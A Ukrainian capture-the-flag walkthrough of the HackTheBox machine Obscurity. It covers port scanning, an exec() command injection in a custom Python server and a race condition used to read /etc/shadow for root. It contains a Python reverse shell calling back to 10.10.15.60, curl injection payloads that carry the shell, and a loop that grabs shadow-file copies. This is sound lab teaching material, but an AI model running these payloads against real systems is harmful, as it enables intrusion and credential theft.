17. HackTheBox. Level Medium: Проходження Obscurity. OS Command Injection та Race Condition

18 грудня 2024 2 хвилин Автор: Lady Liberty

Вивчення кібербезпеки — це важливий крок до захисту даних та інфраструктури. У цій статті ми розглядаємо практичний кейс із HackTheBox, присвячений машині Obscurity. Ви дізнаєтеся, як виявляти вразливості в коді, експлуатувати OS Command Injection і працювати з Race Condition. Стаття містить детальний аналіз коду Python, пошук уразливостей, а також опис кроків для отримання доступу до системи та підвищення привілеїв.

Злам Obscurity: OS Command Injection та Race Condition

У статті розглядається експлуатація вразливостей у програмному коді на Python, а також виконання атаки типу Race Condition.

Підключення до лабораторії здійснюється через VPN. З метою безпеки не рекомендується використовувати робочий комп’ютер або хост із важливими даними, оскільки підключення відбувається до приватної мережі, де перебувають досвідчені фахівці з інформаційної безпеки.

Recon

Ця машина має IP адресу 10.10.10.168, яку додаємо в /etc/hosts.

10.10.10.168    obscurity.htb

Спочатку проводиться сканування відкритих портів. Для пришвидшення процесу, замість сканування всіх портів за допомогою nmap, використовується masscan. Сканування охоплює всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

Далі проводиться сканування з опцією -А, щоб отримати більш детальну інформацію про сервіси, які працюють на відкритих портах.

nmap -A obscurity.htb -p22,8080

На хості виявлено службу SSH та веб-сервер. Наступним кроком є перевірка веб-сервера.

Таким чином, маємо:

  1. Самописний сервер

  2. Використовується шифрування

  3. Код сервера у файлі SuperSecureServer.py у якомусь невідомому каталозі.

Знаючи назву файлу, виконується перебір каталогів за допомогою wfuzz. У якості параметрів передаються словник, URL-адреса та код відповіді, який необхідно ігнорувати.

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

Entry Point

Відкриваємо та аналізуємо сервер. Знаходимо потенційно небезпечне використання функції exec().

До коду додаються кілька додаткових рядків для реалізації необхідного функціоналу.

Це дозволить запустити сервер локально та проаналізувати, які дані передаються у функцію exec(). Після запуску сервера надсилається відповідний запит для перевірки.
curl http://127.0.0.1:33333/asd

curl "http://127.0.0.1:33333/asd'"

curl "http://127.0.0.1:33333/asd''"

Таким чином, маємо OS Command injection.

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

Використовувємо наступний реверс шелл python.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Оскільки необхідні модулі вже імпортовані у коді сервера, їх імпорт з шелла видаляється. Додатково виконується екранування лапок і квадратних дужок для коректної роботи.

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

Чудово! Все працює на локальній машині. Виконуємо цей запит на сервер.

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

Маємо точку входу.

USER

Оглядаємося на сервері і знаходимо доступні для читання файли в домашній директорії користувача.

Читаємо файли.

Таким чином, файли зашифровані. Викачуємо все, що нам дається, на локальний хост. Як сказано в повідомленні, зашифрований файл check.txt, а результат в out.txt. Подивимося алгоритм.

Шифрування здійснюється шляхом додавання символу тексту до символу ключа за модулем 255. Для розшифровування символи тексту та ключа віднімаються.

Це виглядає так:

  • ([check.txt]+[key])mod  255=out.txt([check.txt] + [key]) \mod 255 = out.txt

  • ([out.txt]−[key])mod  255=check.txt([out.txt] – [key]) \mod 255 = check.txt.

Таким чином, ключ можна обчислити за формулою:

  • ([out.txt]−[check.txt])mod  255=key([out.txt] – [check.txt]) \mod 255 = key.

І переглянемо ключ.

І тепер на цьому ключі розшифровуємо пароль користувача.

З цим паролем підключаємося SSH і забираємо прапор користувача.

ROOT

Подивимося налаштування sudo, а саме, чи користувач robert може виконувати будь-які команди під sudo без пароля.

Код запитує автентифікаційні дані для виконання операцій. Після введення даних вміст файлу /etc/shadow копіюється до каталогу /tmp/SSH/*. Далі відбувається перевірка автентифікаційних даних, і після успішної перевірки файл видаляється з каталогу /tmp/SSH.

Таким чином, ми повинні встигнути скопіювати файл із /tmp/SSH/*, поки він не буде видалений. Запустимо другий термінал і виконаємо у ньому нескінченний цикл читання.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

Тепер запускаємо програму, вводимо будь-які дані та бачимо хеші.

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

І вони легко ламаються.

Отримується прапор рута.

Висновок

У цій роботі продемонстровано процес експлуатації вразливостей у коді Python, зокрема OS Command Injection та Race Condition. Проведено сканування, аналіз коду, запуск локального сервера, ідентифікацію слабких місць та отримання привілеїв користувача і root. Цей кейс підкреслює важливість безпечного програмування для захисту систем від подібних атак.

Інші статті по темі
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.